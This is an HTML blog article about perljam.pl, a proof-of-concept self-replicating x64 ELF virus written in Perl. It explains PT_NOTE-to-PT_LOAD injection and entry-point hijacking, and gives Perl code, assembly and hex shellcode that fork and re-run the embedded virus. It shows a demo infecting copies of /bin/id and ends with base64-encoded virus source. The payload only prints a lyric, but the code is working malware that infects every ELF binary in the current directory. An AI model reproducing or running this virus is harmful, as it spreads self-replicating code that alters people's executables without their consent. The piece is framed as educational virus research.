<!DOCTYPE html>
<html lang="en">
<head>

  <meta charset="utf-8">
  <title>hckng</title>
  <meta name="description" content="hckng">
  <meta name="author" content="hckng">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="../css/normalize.css">
  <link rel="stylesheet" href="../css/skeleton.css">

  <style type="text/css" media="screen">
    html,body{font-family:"monospace";font-size:14px}
    h1{margin-bottom:0px;font-size:1.6rem;font-weight:bold}
    h2{padding:0;margin-bottom:5px;font-size:1.1rem;font-weight:bold;
      background: linear-gradient(180deg, rgba(0,0,0,0) calc(50% - 1px), black calc(50%), rgba(0,0,0,0) calc(50% + 1px))}
    h2 span{background-color:white}
    a:link,a:visited{color:black; text-decoration: underline}
    a:hover,a:visited:hover{color:white; background-color:black}
    .container{padding:20px 30px 10px 30px; border: 3px solid black; margin-top:50px;margin-bottom:50px}
    p{margin-bottom:15px}
    ul{list-style:square;margin-left:20px;margin-bottom:15px}
    ul li{margin-bottom:2px}
    pre{margin:20px 0}
    pre code{padding:0 10px}
    span.author{font-size:12px}
    div#navigation{font-size:12px}
    div#article {text-align:center}
    div#content {margin-top:20px;text-align:justify;font-size:12px}
    div#footer{margin-top:10px;text-align:right;font-size: 10px}
  </style>

</head>
<body>

  <div class="container">
    <div class="row">
      <div id="navigation"><a href="/">[<< /]</a></div>
      <div id="article" class="twelve columns">
        <h1>perljam.pl: A Perl x64 ELF virus</h1>
        <span class="author">~ isra</span><br />
        <span class="author">2023-08-10</span>
        <br />
        <div id="content">
          <h2><span>[ intro ]</span></h2>
          <p>EHLO</p>
          <p>
            This article describes the implementation of perljam.pl, a proof-of-concept x64 ELF virus written in Perl based mostly on Linux.Midrashim [1]. The virus includes the following features and limitations:
          </p>
          <ul>
            <li>It uses the PT_NOTE to PT_LOAD ELF injection technique.</li>
            <li>It uses a non-destructive hardcoded payload that prints an extract from the song "release" by Pearl Jam and then infects other binaries in the current directory.</li>
            <li>It works on regular and position independent binaries.</li>
            <li>It is written in Perl, an interpreted language available by default on most Linux x64 distributions.</li>
            <li>It does not implement any evasion or obfuscation techniques, making it trivial to detect.</li>
          </ul>
          <p>A plain text version of this article can be found <a href="perljam-elf64-virus.txt">here</a>.</p>
          <p>Source code:</p>
          <p>
            <a href="https://git.sr.ht/~hckng/vx/tree/master/item/perljam.pl" target="_blank">https://git.sr.ht/~hckng/vx/tree/master/item/perljam.pl</a>
            <br />
            <a href="https://github.com/ilv/vx/blob/main/perljam.pl" target="blank">https://github.com/ilv/vx/blob/main/perljam.pl (mirror)</a>
          </p>
          <p>
            <b>IMPORTANT NOTE</b>: perljam.pl was made for educational purposes only, I'm not responsible for any misuse or damage caused by this program. Use it at your own  risk.
          </p>

          <br />
          <h2><span>[ part 1: infection ]</span></h2>
          <br />
          <p>
            The infection is performed using the well known "PT_NOTE to PT_LOAD" technique[2] which overwrites an auxiliary segment in the program headers table and  converts it into a loadable segment where executable instructions can be placed without affecting program execution. This method works both on regular and position independent binaries with the exception of golang executables that use PT_NOTE segment for storing data used during execution.
          </p>
          <p>
            The infection algorithm can be summarized as follows:
          </p>
          <ul>
            <li> a) Read the binary and parse its ELF header and program headers table.</li>
            <li> b) Calculate the address for loading a payload in memory.</li>
            <li> c) Change binary's entry point to the previous calculated address.</li>
            <li> d) Find a PT_NOTE segment and convert it to an executable PT_LOAD segment.</li>
            <li> e) Adjust PT_LOAD segment's virtual address, file size and memory size.</li>
            <li> f) Append payload after the binary's code.</li>
            <li> g) Calculate binary's original entry point relative to the new entry point.</li>
            <li> h) Append an instruction for jumping back to the binary's original entry point.</li>
            <li> i) Append the virus source code at the end of the binary.</li>
          </ul>
          <p>Relevant parts of the implementation will be discussed in the next sections.</p>

          <br />
          <h2><span>[ read ELF binary and parse its headers ]</span></h2>
          <br />
          <p>
            The binary is opened with the ':raw' pseudo-layer[3] for passing binary data. Two helper subroutines are used for reading and writing content with the 'unpack/pack'[4] functions:
          </p>
          <pre><code>
 # read & unpack
 sub ru {
     my $fh  = shift;
     my $tpl = shift;
     my $sz  = shift;

     read $fh, my $buff, $sz;
     return unpack($tpl, $buff);
 }

 # write & pack
 sub wp {
     my $fh   = shift;
     my $tpl  = shift;
     my $sz   = shift;
     my @data = @_;

     syswrite $fh, pack($tpl, @data), $sz;
 }
 [...]
 open my $fh, '<:raw', $file;
            </code></pre>
          <p>
            The above subroutines use a given template ($tpl) for converting data from/to the binary. In this case the following templates are used:
          </p>
          <ul>
            <li>"C", an unsigned char value (1 byte).</li>
            <li>"a", a string with arbitrary binary data (1 byte).</li>
            <li>"x", a null byte.</li>
            <li>"S", an unsigned short value (2 bytes).</li>
            <li>"I", an unsigned integer value (4 bytes).</li>
            <li>"q", an unsigned quad value (8 bytes).</li>
          </ul>
          <p>
            Using [5] as a reference, reading the binary's headers and checking the ELF magic numbers can be done as follows:
          </p>
          <pre><code>
 my @ehdr = ru($fh, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40);

 # for clarity
 my ($e_phoff, $e_phentsize, $e_phnum) = ($ehdr[13], $ehdr[17], $ehdr[18]);

 # skip non ELFs
 # $ehdr[i]  = ei_magi, 0 <= i <= 3
 if($ehdr[0] != 127 && $ehdr[1] !~ "E" && $ehdr[2] !~ "L" && $ehdr[3] !~ "F") {
      close $fh;
      next;
 }
            </code></pre>
          
          <br />
          <h2><span>[ calculate address and change entry point ]</span></h2>
          <br />

          <p>
            According to [2], the new entry point of the injected payload must be an address far beyond the end of the original program in order to avoid overlap. For simplicity, the value 0xc000000 plus the size of the binary is chosen and then the modified headers are copied into a temporary binary.
          </p>
          <pre><code>
 # file size
 my $file_sz = (stat $file)[7];
 [...]
 my $far_addr = 0xc000000;
 $ne_entry = $far_addr + $file_sz;
 $oe_entry = $ehdr[12];
 $ehdr[12] = $ne_entry;

 # create tmp file for copying the modified binary
 open my $fh_tmp, '>:raw', "$file.tmp";
 wp($fh_tmp, "C a a a C C C C C x7 S S I q q q I S S S S S S", 0x40, @ehdr);
          </code></pre>

          <br />
          <h2><span>[ convert PT_NOTE to PT_LOAD and adjust values ]</span></h2>
          <br />

          <p>
            Next, in order to parse the entries of the program headers table the binary is read on chuncks based on the values $e_phoff, $e_phnum and $e_phentsize obtained from the binary's ELF header. Reference for the expected headers values can be found at [6]:
          </p>

          <pre><code>
 seek $fh, $e_phoff, "SEEK_SET";
 seek $fh_tmp, $e_phoff, "SEEK_SET";

 # inject the first PT_NOTE segment found
 my $found_ptnote = 0;
 for (my $i = 0; $i < $e_phnum; $i++) {
     #
     # read program header
     # see https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html
     my @phdr = ru($fh, "I I q q q q q q", $e_phentsize);
     [...]
     wp($fh_tmp, "I I q q q q q q", $e_phentsize, @phdr);
 }
          </code></pre>

          <p>
            When a segment of p_type 4 is found (PT_NOTE) the entries values are modified as follows:
          </p>
          <ul>
            <li>p_type    = 1 (for converting it to PT_LOAD)</li>
            <li>p_flags   = 5 (for making it executable)</li>
            <li>p_offset  = $file_sz; (offset to end of binary, where payload will be appended)</li>
            <li>p_vaddr   = $ne_entry (the new entry point calculated above)</li>
            <li>p_filesz += payload size + 5 + virus size (payload + jmp + virus)</li>
            <li>p_memsz  += payload size + 5 + virus size (payload + jmp + virus)</li>
            <li>p_align   = 2mb (based on [x])</li>
          </ul>

          <br />
          <h2><span>[ append payload ]</span></h2>
          <br />

          <p>
            After parsing the entries of the program headers table, the rest of the binary is copied without change, followed by the hardcoded payload (the process of adjusting the payload will be described in part 2).
          </p>

          <pre><code>
 # copy rest of file's content
 syswrite $fh_tmp, $_ while(<$fh>);

 #
 # append payload
 #
 syswrite $fh_tmp, $payload_prefix;
 [...]
 # adjust payload
 [...]
 syswrite $fh_tmp, $payload_suffix;
          </code></pre>

          <br />
          <h2><span>[ calculate relative entry point and append jump instruction ]</span></h2>
          <br />

          <p>
            The binary's original entry point relative to the entry point of the injected payload is calculated using the formula described in Linux.Midrashim[1]:
          </p>
          <p>newEntryPoint = originalEntryPoint - (p_vaddr + 5) - virus_size</p>
          <p>The jump instruction is then appended using such value:</p>

          <pre><code>
$ne_entry = $oe_entry - ($ne_entry + 5) - $payload_sz;
# 4 bytes only
$ne_entry = $ne_entry & 0xffffffff;
wp($fh_tmp, "C q", 0x9, (0xe9, $ne_entry));
          </code></pre>

          <br />
          <h2><span>[ append virus ]</span></h2>
          <br />

          <p>
            To achieve replication, perljamp.pl source code must be appended to the infected binary. To carry out this task, the virus should open itself (using the predefined variable $0) and append its content after the jump instruction. Note that if perljam.pl is executed from an infected binary then a search for the string "#!/usr/bin/perl" must be performed to ensure that only the source code of the virus is copied and not the content of the binary. The virus source code is read before the main loop and it's written on each infection.
          </p>

          <pre><code>
 #
 # virus code
 #
 # search for '#!/usr/bin/perl' first to avoid copying extra data
 my $vx;
 open my $fh_vx, '<', $0;
 while(<$fh_vx>) {
    last if($_ =~ q(#!/usr/bin/perl));
 }
 $vx  = "#!/usr/bin/perl\n";
 $vx .= $_ while(<$fh_vx>);
 close $fh_vx;
 # virus size
 my $vx_sz = length($vx);

 [...]
 [...]

 #
 # append virus code
 #
 syswrite $fh_tmp, "\n".$vx;
          </code></pre>

          <br />
          <h2><span>[ overwrite binary ]</span></h2>
          <br />

          <p>
            At this point the virus has created an infected copy of the binary. The final step is to delete the original binary and replace it with the infected copy.
          </p>

          <pre><code>
 close $fh;
 close $fh_tmp;

 # replace original binary with tmp copy
 unlink $file;
 copy("$file.tmp", $file);
 unlink "$file.tmp";
 chmod 0755, $file;
          </code></pre>

          <br />
          <h2><span>[ part 2: payload & replication ]</span></h2>
          <br />

          <p>
            The harcoded payload consists of two combined shellcodes. The first one prints to stdout an extract from the song "release" by Pearl Jam. The second one performs the virus replication by running the infected binary as a perl script. For this the perl interpreter must be executed using the -x switch, which according to Perl's documentation[7]:
          </p>

          <p><i>"tells Perl that the program is embedded in a larger chunk of unrelated text, such as in a mail message. Leading garbage will be discarded until the first line that starts with #! and contains the string 'perl'"</i></p>
 
          <p>
            Therefore, an execve syscall for "/usr/bin/perl -x infected_binary" will run the perljam.pl source code embedded in the infected binary. This syscall must be  invoked inside a child process (fork) to prevent the interruption of the original program code.
          </p>

          <p>
            However, the "infected_binary" (filename) argument in the execve syscall needs to change on each infection according to the binary's filename. To achieve this an initial version of the assembly code is compiled using a fixed string of length 255 (maximum filename length on Linux) as the filename argument. This string will be replaced later.
          </p>

          <p>The following assembly code combines the two shellcodes mentioned before:</p>

          <pre><code>
BITS 64
global _start
section .text
_start:
    call main
    db "i am myself, like you somehow", 0xa, 0x0
    db "/usr/bin/perl", 0x0
    db "-x", 0x0
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
    db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", 0x0
    
 main:
    ;;;;;;;;;;;;
    ; print msg
    ;;;;;;;;;;;;
    xor rax, rax
    xor rdx, rdx
    inc al
    mov rdi, rax
    pop rsi
    mov dl, 30
    syscall

    ;;;;;;;;
    ; fork
    ;;;;;;;;
    xor rax, rax
    mov rax, 57
    syscall
    test eax, eax
    jne parent

    ;;;;;;;;;;;;;;;;;;;;;;;;;
    ; call perl interpreter
    ;;;;;;;;;;;;;;;;;;;;;;;;;

    ; filename "/usr/bin/perl"
    lea rdi, [rsi+31]   
    
    ; argv
    ; ["/usr/bin/perl", "-x", "xxxxx..."] (on reverse)
    xor rdx, rdx
    push rdx
    lea rbx, [rsi+48] ; "xxx..."
    push rbx
    lea rbx, [rsi+45] ; "-x"
    push rbx
    push rdi          ; "/usr/bin/perl"
    mov rsi, rsp 

    ; execve & exit
    xor rax, rax
    mov rax, 59
    mov rdx, 0
    syscall
    xor rdx, rdx
    mov rax, 60
    syscall

 parent:
    ; cleanup for the jmp instruction
    xor rax, rax
    xor rdx, rdx
          </code></pre>

          <p>The code is then compiled to extract its hexadecimal representation.</p>
          <p>
            $ nasm -f elf64 -o perljam.o perljam.s<br />
            $ objdump -d perljam.o
          </p>
          <p>
            After this, the harcoded payload is generated by removing the hexadecimal representation of the fixed string (\x78 * 255) and then splitting the remaining shellcode in two: before and after the fixed string.
          </p>
          <pre><code>
my ($payload_prefix, $payload_suffix);
$payload_prefix  = "\xe8\x30\x01\x00\x00\x69\x20\x61\x6d\x20\x6d\x79\x73\x65";
$payload_prefix .= "\x6c\x66\x2c\x20\x6c\x69\x6b\x65\x20\x79\x6f\x75\x20\x73";
$payload_prefix .= "\x6f\x6d\x65\x68\x6f\x77\x0a\x00\x2f\x75\x73\x72\x2f\x62";
$payload_prefix .= "\x69\x6e\x2f\x70\x65\x72\x6c\x00\x2d\x78\x00";

$payload_suffix  = "\x00\x48\x31\xc0\x48\x31\xd2\xfe\xc0\x48\x89\xc7\x5e\xb2";
$payload_suffix .= "\x1e\x0f\x05\x48\x31\xc0\xb8\x39\x00\x00\x00\x0f\x05\x85";
$payload_suffix .= "\xc0\x75\x2f\x48\x8d\x7e\x1f\x48\x31\xd2\x52\x48\x8d\x5e";
$payload_suffix .= "\x30\x53\x48\x8d\x5e\x2d\x53\x57\x48\x89\xe6\x48\x31\xc0";
$payload_suffix .= "\xb8\x3b\x00\x00\x00\xba\x00\x00\x00\x00\x0f\x05\x48\x31";
$payload_suffix .= "\xd2\xb8\x3c\x00\x00\x00\x0f\x05\x48\x31\xc0\x48\x31\xd2";
          </code></pre>
          <p>
            The payload is adjusted on each infection by inserting the hexadecimal representation of the infected binary's filename plus N null bytes, where:
          </p>
          <p>
            N = 255 - length(infected binary's filename)
          </p>
          <p>
            Filling with N null bytes after the infected binary's filename ensures that the payload will not crash on runtime, since adding or removing bytes will break the shellcode. In addition, the first null byte located after the infected binary's filename will be interpreted by the machine as the end of the string and the remaining null values will be ignored.
          </p>
          <p>
            The adjustment can be done as follows:
          </p>
          <pre><code>
 syswrite $fh_tmp, $payload_prefix;
 # adjust payload with target's filename
 my @chars = split //, $file;
 for(my $i = 0; $i < length($file); $i++) {
     wp($fh_tmp, "C", 0x1, (hex unpack("H2", $chars[$i])));
 } 
 # fill with null values
 for(my $i = length($file); $i < 255; $i++) {
     wp($fh_tmp, "C", 0x1, (0x00));
 }
 syswrite $fh_tmp, $payload_suffix;
          </code></pre>

          <br />
          <h2><span>[ part 3: run ]</span></h2>
          <br />

          <p>To run:</p>
          <p>$ perl perljam.pl</p>
          <p>Example:</p>
          <pre><code>
 $ cp /bin/id .
 $ ./id
 uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
 $ perl perljam.pl
 $ ./id
 i am myself, like you somehow
 uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
 $ cp /bin/id id2
 $ ./id2
 uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
 $ ./id
 i am myself, like you somehow
 uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
 $ ./id2
 i am myself, like you somehow
 uid=1000(isra) gid=1000(isra) grupos=1000(isra) [..]
          </code></pre>

          <br />
          <h2><span>[ part 4: references ]</span></h2>
          <br />

          <p>
            [1] <a href="https://www.guitmz.com/linux-midrashim-elf-virus/" target="_blank">https://www.guitmz.com/linux-midrashim-elf-virus/</a><br />
            [2] <a href="https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/" target="_blank">https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/</a><br />
            [3] <a href="https://perldoc.perl.org/PerlIO#:raw" target="_blank">https://perldoc.perl.org/PerlIO#:raw</a><br />
            [4] <a href="https://perldoc.perl.org/functions/pack" target="_blank">https://perldoc.perl.org/functions/pack</a><br />
            [5] <a href="https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html" target="_blank">https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html</a><br />
            [6] <a href="https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html" target="_blank">https://refspecs.linuxbase.org/elf/gabi4+/ch5.pheader.html</a><br />
            [7] <a href="https://perldoc.perl.org/perlrun#-x" target="_blank">https://perldoc.perl.org/perlrun#-x</a><br />
          </p>

          <br />
          <h2><span>[ part 5: the code ]</span></h2>
          <br />
          perljam.pl
          <pre><code>
IyEvdXNyL2Jpbi9wZXJsCiMgcGVybGphbS5wbAojIHdyaXR0ZW4gYnkgaXNyYSAtIGlzcmEgX3Jl
cGxhY2VfYnlfQF8gZmFzdG1haWwubmV0IC0gaHR0cHM6Ly9oY2tuZy5vcmcKIwojIGh0dHBzOi8v
aGNrbmcub3JnL2FydGljbGVzL3BlcmxqYW0tZWxmNjQtdmlydXMuaHRtbAojIGh0dHBzOi8vZ2l0
LnNyLmh0L35oY2tuZy92eC90cmVlL21hc3Rlci9pdGVtL3BlcmxqYW0ucGwKIyBodHRwczovL2dp
dGh1Yi5jb20vaWx2L3Z4L2Jsb2IvbWFpbi9wZXJsamFtLnBsCiMgCiMgdmVyc2lvbiAwLjIgLSAw
NC4wOC4yMDIzCiMKIyBBIFBlcmwgeDY0IEVMRiB2aXJ1czoKIyAtIGltcGxlbWVudGF0aW9uIG9m
IFBUX05PVEUgLT4gUFRfTE9BRCBpbmplY3Rpb24gdGVjaG5pcXVlIGZvciB4NjQgRUxGcwojIC0g
d29ya3Mgb24gcG9zaXRpb24gaW5kZXBlbmRlbnQgZXhlY3V0YWJsZXMKIyAtIGl0IGluamVjdHMg
YSBoYXJkY29kZWQgcGF5bG9hZAojIC0gaW5mZWN0cyBmaWxlcyBpbiBjdXJyZW50IGRpcmVjdG9y
eSwgbm9uLXJlY3Vyc2l2ZWx5CiMgLSBzZWxmLXJlcGxpY2FudAojCiMgcnVuIGFzIGZvbGxvd3M6
CiMgLSBwZXJsIHBlcmxqYW0ucGwKIwojIHRoZSBwYXlsb2FkIHByaW50cyB0byBzdGRvdXQgYW4g
ZXh0cmFjdCBmcm9tIHRoZSBzb25nICJyZ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gcGFyZW50CgogICAgOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7
Ozs7OwogICAgOyBjYWxsIHBlcmwgaW50ZXJwcmV0ZXIKICAgIDs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7
Ozs7OzsKCiAgICA7IGZpbGVuYW1lICIvdXNyL2Jpbi9wZXJsIgogICAgbGVhIHJkaSwgW3JzaSsz
MV0gICAKICAgIAogICAgOyBhcmd2CiAgICA7IFsiL3Vzci9iaW4vcGVybCIsICIteCIsICJ4eHh4
eC4uLiJdIChvbiByZXZlcnNlKQogICAgeG9yIHJkeCwgcmR4CiAgICBwdXNoIHJkeAogICAgbGVh
IHJieCwgW3JzaSs0OF0gOyAieHh4Li4uIgogICAgcHVzaCByYngKICAgIGxlYSByYngsIFtyc2kr
NDVdIDsgIi14IgogICAgcHVzaCByYngKICAgIHB1c2ggcmRpICAgICAgICAgIDsgIi91c3IvYmlu
L3BlcmwiCiAgICBtb3YgcnNpLCByc3AgCgogICAgOyBleGVjdmUgJiBleGl0CiAgICB4b3IgcmF4
LCByYXgKICAgIG1vdiByYXgsIDU5CiAgICBtb3YgcmR4LCAwCiAgICBzeXNjYWxsCiAgICB4b3Ig
cmR4LCByZHgKICAgIG1vdiByYXgsIDYwCiAgICBzeXNjYWxsCgpwYXJlbnQ6CiAgICA7IGNsZWFu
dXAgZm9yIHRoZSBqbXAgaW5zdHJ1Y3Rpb24KICAgIHhvciByYXgsIHJheAogICAgeG9yIHJkeCwg
cmR4
          </code></pre>
        </div>
      </div>
    </div>

    <div class="row">
      <div id="footer">
        <a href="http://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">[cc by-nc-sa]</a>
      </div>
    </div>
  </div>

</body>
</html>
